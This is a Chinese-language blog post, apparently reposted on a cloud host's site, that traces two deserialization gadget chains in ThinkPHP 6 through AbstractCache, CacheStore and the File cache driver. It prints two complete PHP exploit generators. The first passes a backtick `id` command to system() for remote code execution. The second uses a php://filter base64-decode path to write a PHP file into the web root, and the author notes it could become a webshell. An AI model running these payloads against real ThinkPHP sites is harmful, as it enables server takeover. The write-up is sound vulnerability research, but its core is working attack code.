溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進行thinkphp6的另反序列化分析

發(fā)布時間:2021-10-18 11:01:21 來源:億速云 閱讀:158 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章將為大家詳細講解有關(guān)如何進行thinkphp6的另反序列化分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

Forward

之前分析過tp6的一個鏈;當時是利用__toString方法去進行的中轉(zhuǎn),從而實現(xiàn)前后兩個鏈的鏈接,這次是兩個另外鏈條;利用的是可控類下的固定方法進行中轉(zhuǎn);開始分析;

首先環(huán)境可以composer一鍵搭建,然后php think run進行跑起來就可;

text

首先的想法就是利用析構(gòu)函數(shù)進行最開始的觸發(fā);然后一路追蹤魔法函數(shù)去進行一步一步的推導(dǎo);首先找到魔法函數(shù)在AbstractCache類下;

protected $autosave = true;

public function __destruct()
{
    if (! $this->autosave) {
        $this->save();
    }
}

其代碼如上;可以看到autosave可以可控;這里我們可以手動給其復(fù)制為false;從而可以觸發(fā)save方法;

回溯save方法;在CacheStore中找到了save方法;具體代碼如下;

public function save()
{
    $contents = $this->getForStorage();

    $this->store->set($this->key, $contents, $this->expire);
}

可以看到其調(diào)用了getForStorage方法,然后將其賦值給$contents變量。這里追隨一下這個方法;

public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
}

發(fā)現(xiàn)首先調(diào)用了cleanContents方法;然后在調(diào)用了json_encode方法,這里首先回溯一下cleanContents方法;

public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
            'md5',
        ]);
    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}

首先在這里看到了array_flip方法;這個方法是將數(shù)組的鍵名和鍵值進行替換;然后數(shù)組賦值給$cachedProperties變量;然后將我們傳入的參數(shù)按照$path和$object的格式來進行各個遍歷;然后將鍵名經(jīng)過is_array方法的判斷如果為true則進行后續(xù)的函數(shù)處理;否則就直接return $content這個數(shù)組;經(jīng)過這一系列操作完之后,最終是return到了save函數(shù)里;然后接著去進行 $this->store->set($this->key, $contents, $this->expire);這里我們發(fā)現(xiàn)store也可控;那么就有兩種思路,第一個就是去實例化一個有set方法的類,或者我們實例化一個存在__call方法的類;從而可以因為訪問不存在的方法去調(diào)用到call魔術(shù)方法;這里我們先找到一個有set方法的類;在File類中找到:

public function set($name, $value, $expire = null): bool
{
    $this->writeTimes++;

    if (is_null($expire)) {
        $expire = $this->options['expire'];
    }

    $expire   = $this->getExpireTime($expire);
    $filename = $this->getCacheKey($name);

    $dir = dirname($filename);

    if (!is_dir($dir)) {
        try {
            mkdir($dir, 0755, true);
        } catch (\Exception $e) {
            // 創(chuàng)建失敗
        }
    }

    $data = $this->serialize($value);

    if ($this->options['data_compress'] && function_exists('gzcompress')) {
        //數(shù)據(jù)壓縮
        $data = gzcompress($data, 3);
    }

    $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    $result = file_put_contents($filename, $data);

    if ($result) {
        clearstatcache();
        return true;
    }

    return false;
}

這里可利用點在后面的serialize方法;直接追溯一下;

protected function serialize($data): string
{
    if (is_numeric($data)) {
        return (string) $data;
    }
 
    $serialize = $this->options['serialize'][0] ?? "serialize";
 
    return $serialize($data);
}

這里發(fā)現(xiàn)options參量可控;這里就存在一個問題,如果我們將其賦值為system,那么后續(xù)return的就是我們命令執(zhí)行函數(shù),里面的data我們是可以傳入的,那么我們就可以實現(xiàn)RCE;

這里放出我自己寫的exp;

<?php
#bash回顯;網(wǎng)頁不回顯;
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
    protected $autosave = false;
    protected $complete = [];
    protected $cache = ['`id`'];
    }
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
    protected $store;
    protected $key;
    public function __construct($store,$key,$expire)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }
}
}

namespace think\cache{
abstract class Driver{

}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver
{
    protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => false,
        'path'          => 's1mple',
        'hash_type'     => 'md5',
        'serialize'     => ['system'],
    ];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'s1mple','1111');
echo urlencode(serialize($a));

}

最后達到的效果就是system(xxxx);這里當時我測試沒有回顯,后來將代碼調(diào)試了一下,發(fā)現(xiàn)是system里面參數(shù)的問題,后來我想到linux或者unix下反引號也是可以當做命令執(zhí)行的,而且是可以首先執(zhí)行的;所以我將代碼改了下,嵌入反引號,這樣可以更好的進行命令執(zhí)行,但是這樣的缺點就是可以執(zhí)行,但是無回顯;但是我們依然可以進行一些惡意操作;

如何進行thinkphp6的另反序列化分析

通過這個鏈,相信可以發(fā)現(xiàn)一些端倪,除了可以rce以外,這個鏈在最后的利用地方還有一個file_put_contents這個也是可以利用的;

下面利用的一些騷姿勢如果有師傅不太理解,可以看這個鏈接;[https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/](https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/)

下面也講述一下;利用鏈和之前的是一樣的;就是最后需要掌控一下filename和data的內(nèi)容;我們可以看到如下圖;

如何進行thinkphp6的另反序列化分析

在最后的時候會有一個data的拼接,我本來想著在格式化那里嘗試引入,但是格式化已經(jīng)寫死了,不能利用非法字符進行污染格式化引入危險代碼;所以只能在最后的data處進行寫入拼接;現(xiàn)在就是要控制data了;其實這里data是調(diào)用了serialize方法,追溯一下不難發(fā)現(xiàn)是將數(shù)組option中的serialize的鍵值拿出來套在了data前面;其實本質(zhì)上也無大礙;但是這里有個小坑;因為是$serialize($data);所以這里要求這樣的搭配必須是正確的,如果你隨意傳入函數(shù),造成比如adsf($data);這樣類型的不規(guī)則函數(shù),就會導(dǎo)致報錯,從而無法進行;

明白了這一點其實還有一個小坑;其實option的內(nèi)容我們是可控的;那么我們就可以控制serialize的鍵值進行傳入;但是這里因為之前進行了json_encode所以一般的函數(shù)最后構(gòu)成的格式都無法進行base64解密;但是這里有個例外,我測試了serialize函數(shù),發(fā)現(xiàn)經(jīng)過序列化之后,我們可以正常進行base64解密;大概是因為可以構(gòu)成字符串的原因吧;這里放出我的exp;

<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
    protected $autosave = false;
    protected $complete = [];
    protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+'];
    }
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
    protected $store;
    protected $key;
    public function __construct($store,$key,$expire)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }
}
}

namespace think\cache{
abstract class Driver{

}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver
{
    protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => false,
        'path'          => 'php://filter/convert.base64-decode/resource=s1mple/../',
        'hash_type'     => 'md5',
        'serialize'     => ['serialize'],
        'data_compress' => false
    ];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'s1mple','2333');
echo urlencode(serialize($a));

}

另外可能有很多師傅困惑在可寫目錄的問題,這里我才用了虛目錄的方法將其定位到了public目錄之下;就在path參數(shù)那里可以體現(xiàn)

如何進行thinkphp6的另反序列化分析

最后訪問結(jié)果是執(zhí)行phpinfo;當然也可以寫入system這樣的命令執(zhí)行函數(shù);造成木馬利用;

如何進行thinkphp6的另反序列化分析

關(guān)于如何進行thinkphp6的另反序列化分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI